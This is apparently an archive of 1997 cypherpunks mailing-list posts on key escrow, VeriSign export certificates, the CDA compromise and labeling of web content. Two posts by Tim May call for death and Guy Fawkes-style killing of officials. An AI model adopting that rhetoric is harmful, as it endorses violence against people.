In-Reply-To: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
Message-ID: <v03102800aff46417ea5d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:01 PM -0700 7/17/97, Declan McCullagh wrote:
>---------- Forwarded message ----------
>Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship-announce@vorlon.mit.edu
>Subject: Center for Security Policy calls for domestic key escrow
>
>In the boxing ring of Washington, the Center for
>Security Policy packs a hefty punch. Its faxed alerts
>appear once or twice a week on the desks of thousands of
>key decisionmakers. They're predictably hawkish, with
>titles like "The Nation Needs MORE B-2s."
>
>A recent one focused on encryption. The message: The
>Clinton administration isn't doing *enough* to control
>crypto, especially domestically:
ture (i.e., establishing means whereby
,,,

Every person associated with that heinous report has earned the death penalty.

It's time to stop talking or listening to these criminals. Only action counts.

(By the way, I think Netscape and Microsoft are coming perilously close to
simply deserving whatever befalls them. Fucking criminals.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 08:20:51 +0800
To: cypherpunks@Algebra.COM
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <Pine.GSO.3.95.970717162542.19394H-100000@well.com>
Message-ID: <v03102801aff4655f3759@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
>---------
>
>July 2,1997
>
>Time to Walk the Walk on Telecom Policy
>
>by Jeffrey A. Eisenach
>The Progress & Freedom Foundation
>
>Thanks to Ira Magaziner -- of all people -- the
>Clinton Administration has finally learned to talk the
>free market talk that brings joy to denizens of the
>Internet. Now, as always with this Administration, the
>question is whether it will also walk the walk.

To use their own Yuppie expression, "will it 'walk the walk' down the gang
plank"?

The only thing the Administration can do is to do _nothing_. Gibberish
about the freedom of the Net while other departments speak of key escrow
and content control is a meaningless gesture.


>easy-to-use technical solutions." And last month,
>Treasury Undersecretary Larry Summers, reportedly at
>Magaziner's urging, had very positive things to say
>about the "no new taxes on the Internet" legislation
>sponsored by Congressman Chris Cox and Senator Ron
>Wyden.

Taxes are already essentially uncollectable, even in interstate
transactions, so the moves by Summers and Magaziner are truly token
gestures.

Their continuing support for GAK and content control are what has earned
them only our vicious enmity.


>Telecommunications is not the only problem area with
>respect to policy. Most notable among the others:
>Encryption, where the Administration stubbornly
>adheres to its unworkable, privacy-invading notion of
>"key escrow" for encryption software -- i.e., giving
>the police the key to your house in advance in case
>they decide later they want to conduct a search.

Oh, yeah, this minor issue of their demanding access to diaries, phone
calls, e-mail, and other computer-mediated communications without so much
as a search warrant.

They all deserve to be hung for treason, or dispatched the old-fashoned way
(a la Guy Fawkes).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 08:49:31 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <33CEB925.3B4C45D7@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from
>        the U.S. Department of Commerce to export 128-bit
>        strong encryption software and issue digital
>        identifications to approved organizations based on
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S.
>       government Monday, companies will not need to
>       place their encryption keys in escrow, or submit
>       to U.S. government key-recovery requirements in
>      order to use VeriSign's software, company officials said."

What this means is that VeriSign is now allowed to issue the "magic
banking certs" for servers that allow them to communicate with the
export version of Communicator using 128-bit SSL.

On the other hand, it's also meaningless until "approved organizations"
start getting approved.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 06:47:25 +0800
To: declan@well.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
In-Reply-To: <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>
Message-ID: <199707172230.RAA04879@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>, on 07/17/97 
   at 05:51 PM, Declan McCullagh <declan@vorlon.mit.edu> said:

Declan,

I sniped this from your forwarded post:


>White 1995                                 White House 1997
>--------------------------------------------------------------------------------

>Content Regulations imposed                No content regulations, no law
>by Congress on all Internet                or regulation of Net, no
>requiement Publishers.                                to label or rate
>content.

>Criminal Penalties for                     No criminal penalties for
>anything display of Harmful To                      besides trafficing in
>child Minors Material w/o good                   pornography, obscenity
>or faith effort to block                      stalking kids online
>(illegal before kids access                                CDA)


Do you have any docs or transcripts from the meeting with the White House?

What is being claimed above about the current proposal and what I ahve
been hearing here are two differnet things. It was my understnding that
the current proposal was very much like the White proposal in '95.

Any clairifcation you can provide on this matter would be appreciated.

Thanks,



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM86PuI9Co1n+aLhhAQGs9wP/RPNSdQxvRvWgThjPGWG6wbS0m4wyjaPz
K1psZ+UZwsng3htjbo9KF023NfQMJo4+soQk7UkZiD8du4WejBQWA6epGmM6/MB7
12FwSwnRz0EmruUrC7sGYq3TcG2f3DP2mEF5znQjcCYKnbn0nmcYFpSQJc+Hy/nR
gcVOqvaW4gI=
=C+sN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 08:50:29 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <33CEBACC.31388B70@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> The cert is typically valid for a year, but is subject to revocation
> at any time by VeriSign upon the USG's request. Such revocation or
> refusal to issue a new cert after the first year of operation will
> leave the webserver operator with a server that is no longer able to
> encrypt communications to their customers in any meaningful way,
> thereby effectively shutting down Internet based operations of the
> company unfortunate enough to invest in such a flawed solution.

I don't know the details of the agreement between VeriSign and the
USG.  I'm curious: how will the CRL for this revocation get distributed?
Since Communicator doesn't automatically pull CRLs, how can any action
on VeriSign's part disable crypto for that server?  Or are you
suggesting that as part of the revocation process, the USG will bust
down their doors and grab all copies of their private keys?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 18 Jul 1997 06:14:23 +0800
To: cypherpunks@toad.com
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: <Pine.LNX.3.95.970717175120.11493A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 16:44:12 -0400
From: Seth Finkelstein <sethf@mit.edu>
To: fight-censorship@vorlon.mit.edu
Cc: jseiger@cdt.org, jberman@cdt.org
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

	I finally went back digging through my archives, to confirm my
memory that we had gone through almost exactly this sort of argument
in the run-up to the CDA. All the elements were there - the
"compromise" in terms of attempts to use labeling, the defensiveness
from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
whole lot has changed. Mike Godwin was just as snide and snotty then
as he is now :-).
	The idea then was the infamous White proposal, lower the
standard a little, have "good faith" defenses (what evolved into
censorware and ratings). Basically, have businesses running the
system, don't let the Religious-Right go wild. Well, that lost out
narrowly, and so we fought the CDA battle. But after that was won,
those interested in content regulation didn't just pack up and go
away. They went back to the earlier proposals. Which is an excellent
argument that nothing will be gained by any sort of "compromise" here.

================
Seth Finkelstein
sethf@mit.edu



Date: Sat, 2 Dec 1995 21:11:50 -0500
Message-Id: <951202211149_42309455@emout05.mail.aol.com>
To: declan+@cmu.edu, fight-censorship+@andrew.cmu.edu
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

Let me make it clear that the ACLU does not support this compromise and that
no true civil liberties organization, which represents the interests of
internet users and content providers does.

Barry Steinhardt
ACLU


Message-Id: <QkkAOHO00WCQNEcLgN@andrew.cmu.edu>
Date: Sat,  2 Dec 1995 16:35:15 -0500 (EST)
From: "Declan B. McCullagh" <declan+@CMU.EDU>
To: Fight Censorship Mailing List <fight-censorship+@andrew.cmu.edu>
Subject: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise

	 NEW YORK (Reuter) - A group of commercial online services 
and civil liberties groups have agreed to accept restrictions on 
sexual material being sent on the Internet, the New York Times 
reported in Saturday editions.  
	 The compromise, drafted by Washington state Republican Rick 
White, would create provisions for a Senate bill that would 
impose fines and prison sentences on people who transmit 
pornography, the newspaper said.  
	 It said the compromise, circulating as a draft on Capitol 
Hill, made no distinction between commercial and nonprofit 
service providers. It said the restrictions would presumably 
apply to all, including Internet access nodes run by academic 
institutions.  
	 The Times said the agreement was being made known days 
before a joint Senate-House committee is expected to debate a 
measure that would impose fines of up to $100,000 and jail terms 
on people who knowingly transmit pornography or material 
deemed ``filthy'', ``lewd'' or ``indecent''.  
	 The compromise would weaken the Senate bill's prohibitions 
against making indecent material available to children by 
changing the prohibition to material that is considered 
''harmful to children'', the Times reported.  
	 The compromise would also offer added protection to online 
services or information providers who make a good faith effort 
to keep sex material away from children, the newspaper said.  

---

	NEW YORK (AP) -- There reportedly is agreement on legislation 
limiting pornography on the Internet.  
	The New York Times reported Saturday that a coalition of 
commercial on-line providers and some civil liberties groups have 
reversed course and signed on to a compromise drafted by Rep. Rick 
White, R-Wash.  
	The move comes just a few days before a House-Senate conference 
committee takes up a measure that would impose prison sentences and 
fines on people who knowingly transmit pornography or material 
deemed ``filthy'' or ``lewd.''  
	But White's proposal would offer added protection to on-line 
services that make good-faith efforts to keep pornography away from 
children.  
	The Times report says the coalition has agreed to the compromise 
as the lesser evil of other more restrictive proposals.  





From: Mike Godwin <mnemonic@well.com>
Message-Id: <199512030242.SAA13684@well.com>
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
To: BSACLU@aol.com
Date: Sat, 2 Dec 1995 18:42:24 -0800 (PST)
Cc: declan+@cmu.edu, fight-censorship+@andrew.cmu.edu
In-Reply-To: <951202211149_42309455@emout05.mail.aol.com> from "BSACLU@aol.com" at Dec 2, 95 09:11:50 pm


 
Barry Steinhardt writes:

> Let me make it clear that the ACLU does not support this compromise and that
> no true civil liberties organization, which represents the interests of
> internet users and content providers does.
>
> Barry Steinhardt
> ACLU

I don't think Barry Steinhardt is in the position of defining, in this
rather authoritarian manner, who qualifies as "true civil liberties
organization, which represents the interests of internet users and content
providers."

EFF takes the position that no content-control legislation should be
passed. At the same time, we acknowledge the value of efforts, such as
that of Congressman White, to steer the Telecom Bill toward language that
is congruent with the long-established Constitutional framework that
limits what the government can do with regard to expression. (We do so
even though we do not endorse any of the proposals that have been
floated in the conference committee.)

If this counts as "support" for this compromise -- that is, if Barry
Steinhardt takes the position that "no true civil liberties organization"
could conceivably take a principled position that does not parrot 
Steinhardt's own -- then perhaps he should say so now, since EFF had
planned to work with ACLU on litigation challenging whatever content-
control language emerges in the telecom bill.

I had not thought, before now, that the only "true" civil liberties
position is one that precisely parrots that of Steinhardt and the ACLU.
Perhaps the DOJ's antitrust division should investigate the ACLU's 
monopoly on principled civil-liberties stances.

It is a sad historical fact that, all too often, certain civil
libertarians feel compelled to spend their energy in quarrelling
with allies over relatively minor differences on strategic and tactical
issues while the pro-censorship forces close ranks and present a united
front. You'd have think we'd all have learned by now.

I should hope, by the way, that my own credentials as a "true" civil
libertarian are not in question. I'm willing to compare my track record 
on "cyber liberties" with anyone else's.

Perhaps Barry could identify with some specificity those whom he, from his
lofty perch, believes to be other than "true" civil libertarians.
Alternatively, he may have some suggestions as to how we can all continue
to work together without wasting any time pissing on each other.


Yours for freedom of speech on the Net,

--Mike Godwin
  Staff Counsel
  EFF




To: fight-censorship+@andrew.cmu.edu
From: kip@world.std.com (Bob Chatelle)
Subject: Re: Reuters/AP: Civil Lib Groups Will Accept Cyberporn Compromise
Date: Sat, 2 Dec 1995 22:30:05 EST
Message-Id: <kip.1598.0013DAEC@world.std.com>

In article  Mike Godwin <mnemonic@well.com> writes:
> 
>Barry Steinhardt writes:

>> Let me make it clear that the ACLU does not support this compromise and that
>> no true civil liberties organization, which represents the interests of
>> internet users and content providers does.
>>
>> Barry Steinhardt
>> ACLU

>I don't think Barry Steinhardt is in the position of defining, in this
>rather authoritarian manner, who qualifies as "true civil liberties
>organization, which represents the interests of internet users and content
>providers."

>EFF takes the position that no content-control legislation should be
>passed. At the same time, we acknowledge the value of efforts, such as
>that of Congressman White, to steer the Telecom Bill toward language that
>is congruent with the long-established Constitutional framework that
>limits what the government can do with regard to expression. (We do so
>even though we do not endorse any of the proposals that have been
>floated in the conference committee.)

I do not believe that Barry was criticizing EFF or any other civil-liberties 
group that has been opposing content-restrictive legislation.  Barry was 
rightly taking issue with the NYT for claiming that civil-liberties groups 
were willing to accept compromise on restricting content.  I think his 
statement, that no true civil-liberties group would support such a compromise 
is valid.  Mike, in the above paragraph, explicitly states that EFF does not 
support such compromises.  But we all knew that.

I think this was a simple case of someone taking offense where no offense was 
meant.  I do that myself more often than I care to admit.  To get pissed off 
is human.  Let's all keep working together.

Cheers,
Bob

--------------------------------------------------------------------------------
Bob Chatelle                   kip@world.std.com          National Writers Union
Cambridge, Massachusetts                                 UAW Local 1981, AFL-CIO
                   Boston Coalition for Freedom of Expression
Home Page: http://world.std.com/~kip/     PGP Public Key Available on Request
   "The right to be let alone is indeed the beginning of all freedom."
                                  --Justice William O. Douglas
-------------------------------------------------------------------------------



Message-Id: <wkkwz4W00YUt9Vcidz@andrew.cmu.edu>
Date: Mon,  4 Dec 1995 23:51:16 -0500 (EST)
From: "Declan B. McCullagh" <declan+@CMU.EDU>
To: Fight Censorship Mailing List <fight-censorship+@andrew.cmu.edu>
Subject: CDT Funding and Cyberporn "Compromise"
Cc: berman@cdt.org
References: <199511230338.TAA00816@igc3.igc.apc.org>

When I was in Boston over the weekend, I had brunch at a wonderful
Harvard Square patisserie with Harvey Silverglate, Seth Finkelstein, and
Bob Chatelle. Over coffee and baguettes we talked about the "cybersmut
compromise" on the front page of the NYT that morning. The NYT was
reporting that "some civil liberties groups" -- in particular the Center
for Democracy and Technology -- had agreed to the "compromise:"

 "While it does embody much of the original Exon proposal, it does so in 
 a way that tries to embody a constitutionally recognized standard." 
    --Jerry Berman, director of the Center for Democracy and Technology

We were confused. This is the same "compromise" that Barry Steinhardt
from the ACLU said that "no true civil liberties organization" would
support. (I recall that Barry is the associate executive director and
the head of the ACLU's Civil Liberties in Cyberspace task force.)

Today I ran across this message about the CDT. I'm copying this to Jerry
Berman in case he'd like to respond.

-Declan


---------- Forwarded message begins here ----------

Date: Thu, 23 Nov 1995 00:38:12 GMT
From: "W. Curtiss Priest" <BMSLIB@mitvma.mit.edu>
Subject: Corporate Crime and CDT Funding on behalf of so-called medical privacy


There is a very interesting discussion on the Federal Medical Information
bill on the med-privacy list, Curt

----------------------------Original message----------------------------

     The following article appeared in the current issue of
Corporate Crime Reporter (Volume 9, Number 44, November 20, 1995,
page one).  It is redisseminated on the Internet with the
permission of CCR.

SELF-PROCLAIMED "PUBLIC INTEREST" GROUP  HEAVILY FUNDED BY
COMPUTER, TELECOMMUNICATIONS, DATABANK CORPORATIONS THAT WOULD
BENEFIT FROM "MEDICAL PRIVACY" LEGISLATION GROUP SUPPORTS --
EQUIFAX, TRW, DUNN & BRADSTREET IN THE MIX

     The Center for Democracy & Technology (CDT), a self-
proclaimed "public interest organization," is in fact heavily
funded by large private computer, telecommunications, and
databank corporations.
     Funders of CDT, a two-year old Washington, D.C.-based
advocacy organization, include Dunn & Bradstreet Corp., Equifax
Inc., and TRW Information Services, three large databank
corporations that stand to benefit from federal legislation CDT
actively helped shaped and is shepherding through Congress.
     This year, CDT has received $699,643 from more than 30 large
corporations, including $100,000 from Microsoft, $75,000 from
AT&T, $60,000 from Bell Atlantic, $50,000 from Apple Computer,
$25,000 from IBM, $10,000 from TRW Information Services, $10,000
from Dunn & Bradstreet, $5,000 from Direct Marketing Association,
and $5,000 from Equifax Inc. (For a complete list of CDT's
funders, see At A Glance, page 16)
     At a hearing before the Senate Labor and Human Resources
Committee last week, CDT deputy director Janlori Goldman said
that CDT "strongly supports" legislation, S. 1360, sponsored by
Senators Robert Bennett (R-Utah) and Patrick Leahy (D-Vermont),
because it represents "the most comprehensive and strong privacy
bill the Congress has yet considered in this area."
     But opponents of the bill argue that the legislation is not
a privacy statute at all, but instead is a vehicle that would
legitimize the creation of large computerized databanks of
personal medical information, thus benefitting those companies
like TRW and Equifax that give financial support to CDT. The
legislation would allow for broad, unauthorized searches of those
databanks, opponents claim.
     In an interview, Goldman told Corporate Crime Reporter that
all of CDT's corporate funding is earmarked for other projects
and that none of the corporate funding is supporting her work on
the medical privacy bill.
     "The corporate funding is not related at all, in any way
shape or form to my work on this bill," Goldman said. "The reason
we are doing this bill is that I've worked on privacy issues for
a decade. The most important privacy issue to work on is the
passage of the medical records privacy legislation. That is a
very sincere issue for me."
     "None of the corporate support that CDT gets is related to
my work on this bill," Goldman emphasized. "None. Zippo."
     CDT's executive director, Jerry Berman agreed. "We have no
funding for the medical privacy project -- zero," Berman said.
     But critics of the CDT's position on the legislation were
skeptical.
     "During the Senate hearing this week, Senator Bennett was
angered at the suggestion that S. 1360 was an industry bill,"
said Jamie Love of Ralph Nader's Center for Study of Responsive
Law. "He claimed that he had widely consulted with privacy groups
and patient advocates. CDT's Janlori Goldman was the key person
who decided who was in the loop, and who was not in the loop on
this issue. Groups that were not receptive to the idea of massive
database systems of personal medical records were excluded from
deliberations."
     "To find out that CDT has been funded by companies such as
Equifax, TRW, Dunn & Bradstreet, IBM and the telephone companies
is remarkable, because these are among the groups who have the
most at stake in legitimizing and preserving the current system
of maintaining and managing medical records," Love said. "I think
that Janlori Goldman should have mentioned in her Senate
testimony that CDT was funded by corporations who have an
interest in this issue."
     "If CDT were doing its job, TRW and Equifax wouldn't want to
give it money," Love added.
     Harold Eist, president-elect of the American Psychiatric
Association, said that "any datagathering and large computer
company would clearly benefit from legislation that drives large
amounts of individually identified data about American citizens
into data banks without the knowledge and permission of those
American citizens."
     "Selling that information would represent a gold mine for
those companies," Eist said.
     "It is not surprising that an organization with a
disingenuous name -- Center for Democracy & Technology -- would
be supporting a bill with a disingenuous name -- The Medical
Records Confidentiality Act," Eist said. "In fact, this bill
represents an effort to give away the privacy of American
citizens without their knowledge."
     "My understanding is that Janlori Goldman was involved in
writing the bill," Eist said. "It seems to me that as a former
civil libertarian, she should know very well that there are
loopholes in that bill regarding protections to privacy that you
could drive a Mack truck through."
     "Unless people can be assured that their privacy will be
protected, there is little or no chance that they will reveal the
kind of tormented and dark secrets that they have to reveal to
recover from their illnesses," Eist said. "Confidentially is the
sine qua non of medical treatment, and especially if it is
psychiatric medical treatment."
     A driving force behind the effort to derail the
Bennett/Leahy bill is Denise Nagel, a Boston physician who
organized the Coalition for Patient Rights of New England "to
restore confidentiality to the doctor-patient relationship."
     Nagel refused to comment on CDT's funding.
     At the Senate hearing last week, Nagel told the committee "I
have no industry ties."
     Nagel charged that S. 1360 was written "to advance the
interests of certain segments of the computer,
telecommunications, data processing and health-care industries."
     "With this bill they would be able to careen full speed
ahead to develop data networks that will give innumerable people
access to our medical records legally and without our knowledge,"
Nagel said.
     "I am convinced that S. 1360 is not at all primarily
concerned with the confidentiality of medical records," Nagel
told the committee. "It is just the opposite. It talks about
informed consent, but then authorizes the creation of databases
without patient knowledge or consent. It talks about individual
rights, and then allows police broad authority to search
databases directly instead of obtaining a specific record from
the patient's doctor. It talks about civil and criminal
sanctions, and then pre-empts all common law and most existing
and future state statutes. It talks about ensuring personal
privacy with respect to medical records, and then sets a ceiling
rather than a floor on medical confidentiality."

AT A GLANCE: CENTER FOR DEMOCRACY AND TECHNOLOGY FUNDING, 1994-
1995

American Advertising Federation         500.00
America Online, Inc.                 25,000.00
Apple Computer Inc.                  50,000.00
AT&T                                 75,000.00
Bell Atlantic                        60,000.00
Business Software Alliance            6,000.00
Cellular Tellecomm Indust Assn       10,000.00
CompuServ                            30,000.00
Delphi Internet Services Corp        10,000.00
Direct Marketing Association          5,000.00
Dunn & Bradstreet Corp               10,000.00
EMA                                   5,000.00
Equifax Inc.                          5,000.00
John Gilmore                          2,500.00
Hartford Foundation                 153,000.00
IBM                                  25,000.00
Information Technology Industry       5,000.00
Interactive Digital Software          5,000.00
Lotus                                 6,250.00
MARC                                 80,000.00
MCI Telecommunications               15,000.00
Microsoft                           100,000.00
National Cable Television Assn       15,000.00
Netscape Communications Corp          5,000.00
Newspaper Association of Am           5,000.00
Nynex Government Affairs             25,000.00
Pacific Telesis                      25,000.00
Prodigy Service Company              10,000.00
Software Publishers Assn             10,000.00
Time Warner Inc                       5,000.00
TRW Information Svcs                 10,000.00
US Telephone Association             10,000.00
US West Inc                          10,000.00

Total Funding                        814,020.00

Received 1994                        114,377.00
Received 1995                        699,643.00

Total Funding                        814,020.00


Russell Mokhiber
russell@essential.org
voice: 202/429-6928





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 18 Jul 1997 06:15:06 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups (fwd)
Message-ID: <Pine.LNX.3.95.970717175139.11493B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:19:58 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Seth Finkelstein <sethf@mit.edu>, fight-censorship@vorlon.mit.edu
Cc: jberman@cdt.org
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

At 4:44 PM -0400 7/17/97, Seth Finkelstein wrote:
>	I finally went back digging through my archives, to confirm my
>memory that we had gone through almost exactly this sort of argument
>in the run-up to the CDA. All the elements were there - the
>"compromise" in terms of attempts to use labeling, the defensiveness
>from EFF, CDT, compared to opposition from the ACLU, and so on. Not a
>whole lot has changed. Mike Godwin was just as snide and snotty then
>as he is now :-).
>
><....>

Ah, the old 'drag out CDT's funding list' trick.  For the record, CDT is
supported by companies and foundations who share our agenda and goals, and
believe that we are effective advocates of our views.  Search all you want
for a consipracy -- you aren't going to find one.

While CDT makes no apology for our position (along with EFF and others) to
reluctantly support White's proposal 2.5 years ago given the context of the
debate (read our statement at
http://www.cdt.org/publications/pp311204.html) - the fact is that the
Supreme Court decision settled this debate, and the White compromise was
never passed by Congress.

As for your claim that what happened yesterday at the white house is
similar to the "compromise" of December 1995, you are way off base.

White 1995                                 White House 1997
--------------------------------------------------------------------------------

Content Regulations imposed                No content regulations, no law
by Congress on all Internet                or regulation of Net, no requiement
Publishers.                                to label or rate content.

Criminal Penalties for                     No criminal penalties for anything
display of Harmful To                      besides trafficing in child
Minors Material w/o good                   pornography, obscenity or
faith effort to block                      stalking kids online (illegal before
kids access                                CDA)

The bottom line is that these are two remarkably different approaches. Even
White himself is supportive of the direction the President articulated
yesterday.

Hope that helps clarify a bit.

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 09:37:54 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <33CEBACC.31388B70@netscape.com>
Message-ID: <Pine.3.89.9707171711.A10551-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tom Weinstein wrote:

> I don't know the details of the agreement between VeriSign and the
> USG.  I'm curious: how will the CRL for this revocation get distributed?
> Since Communicator doesn't automatically pull CRLs, how can any action
> on VeriSign's part disable crypto for that server?  Or are you
> suggesting that as part of the revocation process, the USG will bust
> down their doors and grab all copies of their private keys?

[Tom, I am glad that your are adding your voice to this tread].

It is true that Communicator does not presently pull CRL's. However, an 
X.509 based application probably should pull the CRL, or at least verify 
that a cert about to be relied upon has not in fact been revoked by 
looking for a match in the CRL. It stands to reason that Communicator 
will at one point add this, IMHO proper, feature.

I also would like to mention the reader that yesterday's release of MSIE 
4.0b2 *does* have the ability to check CRL's.

Even if Communicator would never check CRL's, not even in the future, the
mere fact that the Global ID cert have only a one year lifetime means 
anyone relying on Global ID can be held hostage by threatening to 
refuse to renew their cert. The reader may not be aware that unlike other 
certs, the Global ID certs are *only* issued by VeriSign. You can 
not go to a non-US CA and obtain such a cert. [Which of course would defy 
the whole purpose of this rather slick deal :-]

Unless VeriSign includes in the price of the Global ID cert a bond that will 
compensate the buyer of a Global ID based commerce system for any and all 
future losses caused by VeriSign either revoking or refusing to renew a 
cert (fat chance), anyone basing their strategy on having such a cert is 
at risk of losing their business.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 09:38:37 +0800
To: geeman@best.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.32.19970716224205.006e5034@best.com>
Message-ID: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Read the complete text of my article. The RSACnews system would include
just that: a system that allows a board of media conglomerates to decide
what's a "news site" or not. 

In other words, what's "credible."

-Declan


On Wed, 16 Jul 1997 geeman@best.com wrote:

> I can't wait until the tags include information on *political* content, or
> *credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...
> 
> At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
> >
> >***********
> >
> >http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> >
> >The Netly News (http://netlynews.com)
> >July 16, 1997
> >
> >At The Censorware Summit
> >by Declan McCullagh (declan@well.com)
> >
> >     If you host a web page or publish online, be
> >warned: soon your site might become invisible. Search
> >engines won't index it and web browsers won't show it.
> >Unless, that is, you agree to attach special labels to
> >your web pages identifying how violent, sexually
> >explicit, or inappropriate for kids your site is.
> >
> >     This was the thrust of today's White House
> >censorware summit, where President Clinton sat down
> >with high tech firms and non-profit groups in a
> >private meeting to talk about pressuring the Net
> >community to make cyberspace childsafe through labels.
> >"We need to encourage every Internet site, whether or
> >not it has material harmful to minors, to rate its
> >contents," Clinton said after the meeting. Vice
> >President Gore was there, too, giving a quick
> >demonstration of how labeling works.
> >
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> >
> >     As will future users of Microsoft's Internet
> >Explorer browser. The next version of IE will default
> >to displaying only properly labeled web pages,
> >according to Ken Wasch, the president of the Software
> >Publishers Association. Since many users won't turn
> >off that feature to reach unrated sites, many large
> >web sites now are facing hefty pressure to self-label.
> >
> >     Other high tech firms rushed to join the
> >presidential limelight. Netscape promised to join
> >Microsoft and include label-reading software in the
> >next version of its browser. America Online's Steve
> >Case thanked Clinton for "backing industry's efforts
> >to make cyberspace a safer place." IBM announced a
